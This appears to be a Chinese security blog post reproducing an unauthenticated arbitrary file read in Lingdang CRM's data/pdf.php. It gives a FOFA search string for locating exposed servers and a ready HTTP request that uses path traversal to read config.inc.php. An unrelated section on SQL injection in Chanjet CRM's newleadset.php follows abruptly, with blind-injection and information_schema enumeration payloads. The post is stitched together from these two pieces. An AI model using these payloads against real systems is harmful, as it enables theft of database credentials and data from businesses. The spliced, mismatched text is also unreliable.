灵当CRM data pdf.php 任意文件读取漏洞复现

灵当CRM任意文件读取漏洞复现

0x01 产品简介

灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。

0x02 漏洞概述

灵当CRM data/pdf.php 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

0x03 复现环境

FOFA:

body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")

0x04 漏洞复现

PoC

GET /crm/data/pdf.php?url=../config.inc.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

复现畅捷通CRM newleadset.php SQL注入漏洞一般可按以下思路进行: #### 环境准备 - 搭建畅捷通CRM系统环境,确保系统版本存在该漏洞。 - 准备好测试工具,如Burp Suite,它可以拦截和修改HTTP请求,方便进行注入测试。 #### 漏洞探测 - 打开Burp Suite,开启代理,配置浏览器使用该代理。 - 访问畅捷通CRM系统中涉及newleadset.php的相关页面,在页面上进行正常的操作,如提交表单等,Burp Suite会拦截到相关的HTTP请求。 - 找到包含newleadset.php的请求,将其发送到Repeater模块。 #### 注入测试 - 在Repeater模块中,对请求中的参数进行注入测试。常见的注入方式有布尔盲注、时间盲注等。 - **布尔盲注**:通过构造SQL语句,根据返回页面的不同来判断条件是否成立。例如,在参数后面添加 `' AND 1=1 --` 和 `' AND 1=2 --`,如果返回页面不同,则说明可能存在注入漏洞。示例请求如下: ``` http://example.com/newleadset.php?param=value' AND 1=1 -- ``` - **时间盲注**:利用 `SLEEP()` 函数来判断注入是否成功。构造类似 `' AND SLEEP(5) --` 的语句,如果页面响应时间明显增加了5秒左右,则说明存在注入漏洞。示例请求如下: ``` http://example.com/newleadset.php?param=value' AND SLEEP(5) -- ``` #### 数据获取 - 如果确认存在注入漏洞,可以进一步构造SQL语句来获取数据库信息。例如,获取数据库名、表名、列名和数据等。 - 获取数据库名: ``` http://example.com/newleadset.php?param=value' AND (SELECT COUNT(*) FROM information_schema.schemata)=5 -- ``` - 获取表名: ``` http://example.com/newleadset.php?param=value' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='database_name')=10 -- ``` 需要注意的是,在进行漏洞复现测试时,必须在合法的授权环境下进行,未经授权对他人系统进行测试是违法的行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值